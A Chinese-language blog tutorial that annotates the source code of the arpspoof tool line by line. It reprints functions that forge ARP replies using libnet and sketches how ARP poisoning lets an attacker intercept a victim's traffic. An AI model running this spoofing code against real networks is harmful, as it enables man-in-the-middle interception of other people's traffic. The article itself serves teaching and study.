本文原创作者：VillanCh

## 前言

**如果你的目标是一个会使用工具的hacker的话，请无视下面的所有内容；如果你的目标是渴望拥有自己的渗透测试工具，编写自己的xxxtools，那么看一些简单的工具的源码一定大有裨益。**

## 背景

今天心血来潮闲着无聊打算分析某个小工具的源代码看看玩。

**笔者也是一颗hacker的心，但是有一定的网络编程功底，一直立志不做一名只会用工具的hacker，那么今天晚上我的目标就是那个已经被滥用的ARPspoof。**

说实在的我非常不喜欢神化黑客工具，那么我们今天就拿ARPspoof来开刀，看看这个可以实现ARP欺骗的小玩意内藏了多少“可怕的东西”

首先我是看过一些已经在FreeBuf上发出的关于ARP攻击的一些文章，窃以为我能看到，但是爱好者（不具备tcpip知识，网络知识基础薄弱的人可能要遭殃了）然后我准备以一种轻松的，微观的心态来讲一下这个问题，如在文章中出现漏洞或者是错误，欢迎大家指出。

找到ARPspoof的源代码，核心代码基本都不变，那么我们这就开始把！但是ARPspoof的源代码随着版本的更新不停地在重构，我找了一个相对比较稳定的版本。

## 以一种轻松的方式来补充基础知识

在此之前请允许我补充一些基础知识。

Arp数据包的作用：每一台电脑进入网络之后会广播一条arp数据包来声明自己的身份(ip，mac地址等)，那么如果arp被恶意劫持了就是我们所熟悉的arp污染或者arp劫持。为了方便大家理解，我们可以类比我们平时所用的身份证，如果身份证被人拿走了，是不是可以被用来开户开房做坏事洗钱什么的？没错，我们可以姑且把arp当作这样的一个例子，但是也不完全对，就本文讨论这个工具而言的话我们这样理解是足够了。

Libnet库，这个库是一个神奇的库，在可以直接对链路层进行处理，如果你厌倦了socket的规规矩矩的使用，可以考虑看一下libnet库，同样的你也会猜到了，如果你发送大量的链路层数据报，有可能造成网络不稳定等各种问题，那么问题来了flood攻击，DDOS攻击是不是可是实现了？这个问题我还是很有兴趣为大家揭秘的。言归正传，关于libnet的使用，我们在arpspoof里面将会见到。

最最基础的网络知识与基础的linux内核编程知识本文是默认大家已经掌握的。那么我们接下来可以开始了么？不不不。

## Think like a hacker

我还需要罗嗦一点讲一讲arp劫持的故事：

我随意网上搜索一个arp劫持的例子。

源于baidu，恩其实这个没什么神秘的，只是做出来效果不错而已

接下来是freebuf的Heee这个作者的一片文章地址《中间人攻击-ARP毒化》。

那么我想说的倒不是这个，arp攻击我个人把它分为两种：1.arp断网；2.arp劫持。其实在成功实施arp断网的时候，实际的效果是被攻击的主机把攻击的机器当作了网关，而所有的数据包都发送到了攻击机上了，也就是说，理论上你是可以拿到它发送的所有数据包的（包括密码？？？），当然密码是极有可能加密的。

我们再延伸一下，收到了被攻击者发来的数据包我们会怎么办？查看一下么？但是好像查看的意义不太大啊（因为又去无回，被攻击者不停地再发请求数据包，并不会有什么数据交换，这样的数据包实际上是没有什么意思的），于是我们就想办法伪装一下，最简单的办法就是再欺骗一下网关么？bingo！答对了，好，问题又来了欺骗网关就可以了么？你收到的 被害者的数据包没有销赃。。。那么，其实很好解决，端口重定向。关于具体的实施，不是重点。

其实我们要来看看这个arpspoof这个小工具的源代码的。那么现在就可以正式开始了！

## 从main函数开始

首先大家不要慌，我加了无数注释，这个工具的代码也不过400行而已。首先我们看一下main函数：

为了避免大家看起来太紧张，我在源码的注释中加了详细的讲解，方便基础薄弱的同学理解：

```
int  main(int  argc,  char  *argv[])
{
            int  c;
            char  ebuf[PCAP_ERRBUF_SIZE];
            intf  =  NULL;
            spoof_ip  =  target_ip  =  0;


  /**
          关于getopt这个函数我想做如下解释大家就可以读懂下面的函数的具体意思了：
          1.getopt的用途：用于专门处理函数参数的。
```

```
            2.getopt的用法：argc与argv直接是从main的参数中拿下来的，第三个参数描述了整个
程序参数的命令要求
                                    具体的用法我们可以先理解为要求i,t这两个参数必须有
值
                                    然后有具体值得参数会把值付给全局变量optarg，这样
我们就能理解下面的while循环中的操作了
  */
            while ((c = getopt(argc, argv, "i:t:h?V")) != -1) {

                        switch (c) {

                        case 'i':
                                    intf = optarg;
                                    break;
                        case 't':
/*
            libnet_name_resolve是解析域名,然后把域名解析的结果形成ip地址返回到target_ip
*/
                                    if ((target_ip = libnet_name_resolve(optar
g, 1)) == -1)
                                                usage();
                                    break;
                        default:
                                    usage();

                        }

            }

            argc -= optind;
            argv += optind;

            if (argc != 1)

                        usage();

            if ((spoof_ip = libnet_name_resolve(argv[0], 1)) == -1)
                        usage();
```

```
            /*
            pcap_lookupdev  顾名思义这个pcap库中的函数是用来寻找本机的可用网络设备。
            下面的if语句是将如果intf（-i的参数为空就调用pcap_lookupdev来寻找本机的网络设备）
            ebuf就是error_buf用来存储错误信息
            */
              if (intf == NULL && (intf = pcap_lookupdev(ebuf)) == NULL)
                            errx(1, "%s", ebuf);

  /*
  libnet_open_link_interface这个函数存在于libnet库中，作用是打开intf指向的网络链路设备
  错误信息存入ebuf中。
  */
              if ((llif = libnet_open_link_interface(intf, ebuf)) == 0)
                            errx(1, "%s", ebuf);

  /*
  下面语句的意思是如果target_ip为0或者是arp_find没有成功找到target_ip
  那么提示错误
  */
              if (target_ip != 0 && !arp_find(target_ip, &target_mac))
                            errx(1, "couldn't arp for host %s",
          libnet_host_lookup(target_ip, 0));

  //这里关于信号的处理问题如果大家不是太清楚的话也可以跳过，
  //有兴趣的朋友，可以深入了解一下，因为这里不是本文重点，就不再赘述了
              signal(SIGHUP, cleanup);
              signal(SIGINT, cleanup);
              signal(SIGTERM, cleanup);

              for (;;) {

                            /*
                                          在这个for的循环里我们看到了我们希望看到的核心模块
            arp_send大家一看这个函数便知道这个函数是用来发送伪造的arp数据包的，关于这个函数具体的用法我们稍后将会讨论
                            */
                            arp_send(llif, intf, ARPOP_REPLY, NULL, spoof_ip,
                                          (target_ip ? (u_char *)&target_mac : NULL),
```

```
                                        target_ip);
                        sleep(2);


                }
/*  NOTREACHED  */

                exit(0);

}
```

看了main函数里面的各种东西，我们发现并没有什么玄机，其实就是很简单的编程，具体的函数讲解都在注释中写出来了。

## 核心函数的登场

接下来我们就看一下他是如何实现发送arp包的，其实知道大家看了源代码以后就知道，这真的没有什么技术含量，

```
/**
            这里是我们发送arp包的核心实现
            我先来介绍一下这个函数的参数方便大家理解
            参数一：libnet链路层接口，通过这个接口可以操作链路层
            参数二：本机的网卡设备intf（由-i指定或者pcap_lookupdev来获取）
            参数三：arpop，来指定arp包的操作
            参数四：本机硬件地址
            参数五：本机ip
            参数六：目标硬件地址
            参数七：目标ip
  */
int  arp_send(struct  libnet_link_int  *llif,  char  *dev,
  int  op,  u_char  *sha,  in_addr_t  spa,  u_char  *tha,  in_addr_t  tpa)
{

            char  ebuf[128];
            u_char  pkt[60];

  /*
  这里来通过链路层和网卡来获取dev对应的mac地址*/
```

```
        if (sha == NULL &&
    (sha = (u_char *)libnet_get_hwaddr(llif, dev, ebuf)) == NULL) {

                return (-1);

        }
        /*
        这里通过链路层和网卡来获取dev对应的ip地址
        */

        if (spa == 0) {

                if ((spa = libnet_get_ipaddr(llif, dev, ebuf)) == 0)
                        return (-1);
                spa = htonl(spa); /* XXX */

        }

        /*
        如果目标mac没有的话就被赋值为\xff\xff\xff\xff\xff\xff
        */
        if (tha == NULL)
                tha = "\xff\xff\xff\xff\xff\xff";
```

```
  /*
libnet_ptag_t  libnet_build_ethernet(
u_int8_t*dst,  u_int8_t  *src,
u_int16_ttype,  u_int8_t*payload,

u_int32_tpayload_s,  libnet_t*l,
libnet_ptag_t  ptag  )
```

功能：

构造一个以太网数据包

参数：

dst：目的  mac

src：源  mac

type：上层协议类型

payload：负载，即附带的数据，可设置为  NULL（这里通常写  NULL）

payload_s：负载长度，或为  0（这里通常写  0  ）

```
l：libnet  句柄，libnet_init()  返回的  libnet  *  指针
ptag：协议标记，第一次组新的发送包时，这里写  0，同一个应用程序，下一次再组包时，这个位置的值写此函数的返回值。
返回值：
成功：协议标记
失败：-1
  */
              libnet_build_ethernet(tha,  sha,  ETHERTYPE_ARP,  NULL,  0,  pkt);
  /*
  libnet_ptag_t  libnet_build_arp(
u_int16_t  hrd,  u_int16_t  pro,
u_int8_t  hln,  u_int8_t  pln，
u_int16_t  op,  u_int8_t  *sha,
u_int8_t  *spa,  u_int8_t  *tha，
u_int8_t  *tpa,  u_int8_t  *payload，
u_int32_t  payload_s,  libnet_t  *l,
libnet_ptag_t  ptag  )
功能：
构造  arp  数据包
参数：
hrd：硬件地址格式，ARPHRD_ETHER（以太网）
pro：协议地址格式，ETHERTYPE_IP（  IP协议）
hln：硬件地址长度
pln：协议地址长度
op：ARP协议操作类型（1：ARP请求，2：ARP回应，3：RARP请求，4：RARP回应）
sha：发送者硬件地址

spa：发送者协议地址
tha：目标硬件地址
tpa：目标协议地址
payload：负载，可设置为  NULL（这里通常写  NULL）
payload_s：负载长度，或为  0（这里通常写  0  ）
l：libnet  句柄，libnet_init()  返回的  libnet  *  指针
ptag：协议标记，第一次组新的发送包时，这里写  0，同一个应用程序，下一次再组包时，这个位置的值写此函数的返回值。
返回值：
成功：协议标记
失败：-1
  */
```

```
            libnet_build_arp(ARPHRD_ETHER,  ETHERTYPE_IP,  ETHER_ADDR_LEN,  4,
                        op,  sha,  (u_char  *)&spa,  tha,  (u_char  *)&tpa,
                        NULL,  0,  pkt  +  ETH_H);

            fprintf(stderr,  "%s  ",
            ether_ntoa((struct  ether_addr  *)sha));



  /*
  下面的if和else是回显处理（也就是大家能看到的部分
  */
            if  (op  ==  ARPOP_REQUEST)  {

                        fprintf(stderr,  "%s  0806  42:  arp  who-has  %s  tel
l  %s\n",
                                    ether_ntoa((struct  ether_addr  *)tha),
                                    libnet_host_lookup(tpa,  0),
                                    libnet_host_lookup(spa,  0));

            }
            else  {

                        fprintf(stderr,  "%s  0806  42:  arp  reply  %s  is-at  ",

                                    ether_ntoa((struct  ether_addr  *)tha),
                                    libnet_host_lookup(spa,  0));
                        fprintf(stderr,  "%s\n",
                                    ether_ntoa((struct  ether_addr  *)sha));

            }
            return  (libnet_write_link_layer(llif,  dev,  pkt,  sizeof(pkt))  ==  sizeo
f(pkt));

}
```

我们看到这其实真的没有什么很神奇的内容对吧？

## 小酒馆

```
  /*
            下面我们发现挂载信号处理函数的都是cleanup函数，
            这个函数很好理解，就是在本机网络设备存在的条件下把包再发三遍，

            但是为什么要这么做呢？似乎立即中断也没什么不合理，
            我想作者的意思就是总要给一个缓冲的时间啊

            我们再仔细观察一下，在main的主循环中是sleep(2)
            在下面的循环中是sleep(1)

  */
void  cleanup(int  sig)
{

              int  i;

              if  (arp_find(spoof_ip,  &spoof_mac))  {

                            for  (i  =  0;  i  <  3;  i++)  {

/*  XXX  -  on  BSD,  requires  ETHERSPOOF  kernel.  */


/*上面这条注释是源码的作者加的，意思是说在BSD系统中需要ETHERSPOOF的第三方内核模块*/
                                          arp_send(llif,  intf,  ARPOP_REPLY,
                                                        (u_char  *)&spoof_mac,  spoof_ip,
                                                        (target_ip  ?  (u_char  *)&target_m
ac  :  NULL),
                                                        target_ip);
                                          sleep(1);

                            }

              }
              exit(0);

}
```

这样我们还有什么不理解么？在《中间人攻击-ARP毒化》一文中，arpspoof这个工具被我们以这样的方式解密，大家是否开始觉得其实这并没有任何神奇的地方？这就是我们神化的黑客工具吧。

**下载附件**

**链接 密码: rsua**

心血来潮之作，如有高见，希望大家不吝赐教~~